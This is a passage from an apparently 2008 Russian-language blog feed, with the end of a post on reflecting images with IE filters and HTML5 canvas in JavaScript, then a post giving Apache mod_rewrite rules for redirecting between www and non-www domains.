&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;filter&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'flipv progid:DXImageTransform.Microsoft.Alpha(opacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_start&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', style=1, finishOpacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_end&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', startx=0, starty=0, finishx=0, finishy='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;ratio&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;')'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;else&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;filter&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;'fliph progid:DXImageTransform.Microsoft.Alpha(opacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_start&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', style=1, finishOpacity='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;opacity_end&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', startx=0, starty=0, finishx='&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;ratio&lt;span class="sy0"&gt;*&lt;/span&gt;&lt;span class="nu0"&gt;100&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="sy0"&gt;+&lt;/span&gt;&lt;span class="st0"&gt;', finishy=0)'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; container.&lt;span class="me1"&gt;appendChild&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;reflection&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;В случае с IE всё просто и сводится к заданию соответствующих фильтров. С браузерами, поддерживающими HTML&amp;nbsp;5, всё гораздо сложнее (ad deliberandum: сколько строк занимает программа на C++, если она использует COM-технологию?)&lt;/p&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35632"&gt;
        &lt;div class="code javascript" id="p356code32"&gt;
&lt;span class="coMULTI"&gt;/**&lt;br /&gt;
&amp;nbsp;* @param container &amp;lt;div id=&amp;quot;container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param image &amp;lt;img id=&amp;quot;image&amp;quot;&amp;gt;&lt;br /&gt;
&amp;nbsp;* @param ratio Коэффициент сжатия/растягивания отражения&lt;br /&gt;
&amp;nbsp;* @param opacity_start Начальная (ближняя к отражаемому изображению) непрозрачность &lt;br /&gt;
&amp;nbsp;* @param opacity_end Конечная непрозрачность&lt;br /&gt;
&amp;nbsp;* @param horizontal 0 = вертикальное отражение, 1 = горизонтальное отражение&lt;br /&gt;
&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;
&lt;span class="kw2"&gt;function&lt;/span&gt; reflect_image&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;container&lt;span class="sy0"&gt;,&lt;/span&gt; image&lt;span class="sy0"&gt;,&lt;/span&gt; ratio&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_start&lt;span class="sy0"&gt;,&lt;/span&gt; opacity_end&lt;span class="sy0"&gt;,&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; reflection &lt;span class="sy0"&gt;=&lt;/span&gt; document.&lt;span class="me1"&gt;createElement&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;'canvas'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; context &amp;nbsp; &lt;span class="sy0"&gt;=&lt;/span&gt; reflection.&lt;span class="me1"&gt;getContext&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;'2d'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;height&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;'px'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;style&lt;/span&gt;.&lt;span class="me1"&gt;width&lt;/span&gt; &amp;nbsp;&lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;'px'&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;height&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; reflection.&lt;span class="me1"&gt;width&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span class="sy0"&gt;=&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;//Подводный камень: на canvas нельзя рисовать, если она не в DOM-дереве документа&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; container.&lt;span class="me1"&gt;appendChild&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;reflection&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;save&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw2"&gt;var&lt;/span&gt; gradient;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;if&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0 &lt;span class="sy0"&gt;==&lt;/span&gt; horizontal&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Задаём точку отсчёта, отражаем ось y и создаём вертикальный градиент&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;translate&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;scale&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="sy0"&gt;-&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gradient &lt;span class="sy0"&gt;=&lt;/span&gt; context.&lt;span class="me1"&gt;createLinearGradient&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;else&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Задаём точку отсчёта, отражаем ось x и создаём горизонтальный градиент&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;translate&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;image.&lt;span class="me1"&gt;width&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;scale&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="sy0"&gt;-&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gradient &lt;span class="sy0"&gt;=&lt;/span&gt; context.&lt;span class="me1"&gt;createLinearGradient&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Рисуем исходное изображение (оно будет отражено по одной из осей)&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;drawImage&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;image&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;restore&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Задаём режим операции&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;globalCompositeOperation&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;destination-out&amp;quot;&lt;/span&gt;;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Параметры градинтной заливки (в параметрах передаётся НЕпрозрачность, нам нужна прозрачность)&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; gradient.&lt;span class="me1"&gt;addColorStop&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;rgba(255, 255, 255, &amp;quot;&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt; &lt;span class="sy0"&gt;-&lt;/span&gt; opacity_end&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; gradient.&lt;span class="me1"&gt;addColorStop&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;rgba(255, 255, 255, &amp;quot;&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt; &lt;span class="sy0"&gt;-&lt;/span&gt; opacity_start&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="sy0"&gt;+&lt;/span&gt; &lt;span class="st0"&gt;&amp;quot;)&amp;quot;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;fillStyle&lt;/span&gt; &lt;span class="sy0"&gt;=&lt;/span&gt; gradient;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="co1"&gt;// Заливаем&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;if&lt;/span&gt; &lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="sy0"&gt;-&lt;/span&gt;&lt;span class="nu0"&gt;1&lt;/span&gt; &lt;span class="sy0"&gt;!=&lt;/span&gt; navigator.&lt;span class="me1"&gt;appVersion&lt;/span&gt;.&lt;span class="me1"&gt;indexOf&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="st0"&gt;'WebKit'&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;fill&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="kw1"&gt;else&lt;/span&gt; &lt;span class="br0"&gt;&amp;#123;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; context.&lt;span class="me1"&gt;fillRect&lt;/span&gt;&lt;span class="br0"&gt;&amp;#40;&lt;/span&gt;0&lt;span class="sy0"&gt;,&lt;/span&gt; 0&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;width&lt;/span&gt;&lt;span class="sy0"&gt;,&lt;/span&gt; image.&lt;span class="me1"&gt;height&lt;/span&gt;&lt;span class="br0"&gt;&amp;#41;&lt;/span&gt;;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;&lt;br /&gt;
&lt;span class="br0"&gt;&amp;#125;&lt;/span&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="http://static2.sjinks.org.ua:8080/test/reflection/test.html" rel="nofollow"&gt;Тестовый пример&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://developer.mozilla.org/En/Canvas_tutorial" rel="nofollow"&gt;Canvas Tutorial в Mozilla Developer Center&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/javascript/217-killing-ads-on-bashorgru-greasemonkey-in-action/" title="Убиваем рекламу на bash.org.ru, или, Greasemonkey в действии (July 3, 2008)"&gt;Убиваем рекламу на bash.org.ru, или, Greasemonkey в действии&lt;/a&gt; (2)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/javascript/78-script-for-greasemonkey-to-extract-asin-from-amazon/" title="Скрипт для Greasemonkey для извлечения ASIN с amazon.com (April 8, 2008)"&gt;Скрипт для Greasemonkey для извлечения ASIN с amazon.com&lt;/a&gt; (3)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/javascript/91-couple-of-accordions/" title="Парочка аккордеонов (April 13, 2008)"&gt;Парочка аккордеонов&lt;/a&gt; (6)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/222-main-sources-of-invalid-markup-in-wordpress/" title="Основные источники неправильной разметки в WordPress (July 7, 2008)"&gt;Основные источники неправильной разметки в WordPress&lt;/a&gt; (4)&lt;/li&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/wordpress/patches/32-wp-codebox-and-prototype/" title="WP CodeBox и Prototype (March 15, 2008)"&gt;WP CodeBox и Prototype&lt;/a&gt; (1)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=jJLHbb"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=jJLHbb" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/sjblog?a=E2Z4N"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=E2Z4N" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=KKQDN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=KKQDN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=wFNln"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=wFNln" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=gsNzn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=gsNzn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=EmmhN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=EmmhN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Jm5pn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Jm5pn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=JTWdN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=JTWdN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=ow25n"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=ow25n" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=gIgTN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=gIgTN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=aWfvN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=aWfvN" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=Jm5pn"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=Jm5pn" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/sjblog?a=JTWdN"&gt;&lt;img src="http://feeds.feedburner.com/~f/sjblog?i=JTWdN" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/sjblog/~4/455311535" height="1" width="1"/&gt;</content>
		<link rel="replies" type="text/html" href="http://blog.sjinks.org.ua/javascript/356-image-reflection-with-javascript/#comments" thr:count="2" />
		<link rel="replies" type="application/atom+xml" href="http://blog.sjinks.org.ua/javascript/356-image-reflection-with-javascript/feed/atom/" thr:count="2" />
		<thr:total>2</thr:total>
	<feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=sjblog&amp;itemurl=http%3A%2F%2Fblog.sjinks.org.ua%2Fjavascript%2F356-image-reflection-with-javascript%2F</feedburner:awareness><feedburner:origLink>http://blog.sjinks.org.ua/javascript/356-image-reflection-with-javascript/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Vladimir</name>
						<uri>http://sjinks.org.ua/</uri>
					</author>
		<title type="html"><![CDATA[Apache: устанавливаем редирект с www.domain.com на domain.com и наоборот]]></title>
		<link rel="alternate" type="text/html" href="http://feeds.feedburner.com/~r/sjblog/~3/426905462/" />
		<id>http://blog.sjinks.org.ua/?p=352</id>
		<updated>2008-10-20T23:40:35Z</updated>
		<published>2008-10-20T23:39:58Z</published>
		<category scheme="http://blog.sjinks.org.ua" term="Администрирование" /><category scheme="http://blog.sjinks.org.ua" term="Apache" /><category scheme="http://blog.sjinks.org.ua" term="mod_rewrite" /><category scheme="http://blog.sjinks.org.ua" term="redirect" />		<summary type="html"><![CDATA[Заезженная до дыр тема, тем не менее, не потерявшая своей актуальности до сих пор.
Правильное решение:

Перенаправление с www.domain.com на domain.com:
          

    
        
RewriteCond %{HTTP_HOST} &#160;^www.(.+)$ &#160; [NC]
RewriteRule ^(.*) &#160; &#160; &#160; &#160; http://%1/$1 [L,R=301]
    [...]]]></summary>
		<content type="html" xml:base="http://blog.sjinks.org.ua/administring/352-apache-how-toredirect-from-www-and-back/">&lt;p&gt;Заезженная до дыр тема, тем не менее, не потерявшая своей актуальности до сих пор.&lt;span id="more-352"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Правильное решение:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Перенаправление с &lt;code&gt;www.domain.com&lt;/code&gt; на &lt;code&gt;domain.com&lt;/code&gt;:&lt;/strong&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35235"&gt;
        &lt;div class="code apache" id="p352code35"&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{HTTP_HOST} &amp;nbsp;^www.(.+)$ &amp;nbsp; [NC]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteRule&lt;/span&gt; ^(.*) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; http://%1/$&lt;span class="nu0"&gt;1&lt;/span&gt; [L,R=&lt;span class="nu0"&gt;301&lt;/span&gt;]
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

Всё просто: если имя хоста начинается на &lt;code&gt;www.&lt;/code&gt;, отрезаем &lt;code&gt;www.&lt;/code&gt; и выполняем редирект. Я предпочитаю перенаправление с кодом 301, у Вас могут быть свои предпочтения.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Перенаправление с &lt;code&gt;domain.com&lt;/code&gt; на &lt;code&gt;www.domain.com&lt;/code&gt;:&lt;/strong&gt;
          
&lt;div class="codebox"&gt;
    &lt;div class="the_code" style="" id="p35236"&gt;
        &lt;div class="code apache" id="p352code36"&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{HTTP_HOST} &amp;nbsp; !^$&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{HTTP_HOST} &amp;nbsp; !^www\. &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;[NC]&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteCond&lt;/span&gt; %{HTTP_HOST} &amp;nbsp; (.+)$&lt;br /&gt;
&lt;span class="kw1"&gt;RewriteRule&lt;/span&gt; ^(.*) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;http://www.%1/$&lt;span class="nu0"&gt;1&lt;/span&gt; [L,R=&lt;span class="nu0"&gt;301&lt;/span&gt;]
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

Посложнее: проверяем, что имя хоста не пустое и &lt;strong&gt;не&lt;/strong&gt; начинается на &lt;code&gt;www.&lt;/code&gt;. Добавляем &lt;code&gt;www.&lt;/code&gt; к имени хоста и выполняем редирект.
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Разумеется, что mod_rewrite должен быть включен (&lt;code class="codebox apache"&gt;&lt;span class="kw1"&gt;RewriteEngine&lt;/span&gt; &lt;span class="kw2"&gt;On&lt;/span&gt;&lt;/code&gt;). В целях повышения производительности имеет смысл помещать код не в &lt;code&gt;.htaccess&lt;/code&gt;, а непосредственно внутрь директивы &lt;code class="codebox apache"&gt;&amp;lt;&lt;span class="kw3"&gt;VirtualHost&lt;/span&gt;&amp;gt;&lt;/code&gt; конфигурационного файла Apache.&lt;/p&gt;
&lt;p&gt;Здесь раасмотрен простой случай: протокол HTTPS не используется. Реализация перенаправления с использованием HTTPS остаётся домашним заданием читателю &lt;img src='http://blog.sjinks.org.ua/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /&gt; &lt;/p&gt;

	&lt;h4&gt;Связанные записи&lt;/h4&gt;
	&lt;ul class="st-related-posts"&gt;
	&lt;li&gt;&lt;a href="http://blog.sjinks.org.ua/administring/107-setting-up-wildcard-subdomains-in-apache/" title="Настройка общих поддоменов (wildcard subdomains) в Apache (April 20, 2008)"&gt;Настройка общих поддоменов (wildcard subdomains) в Apache&lt;/a&gt; (0)&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;&lt;a href="http://feeds.feedburner.com/~a/sjblog?a=iWVZYb"&gt;&lt;img src="http://feeds.feedburner.com/~a/sjblog?i=iWVZYb" border="0"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
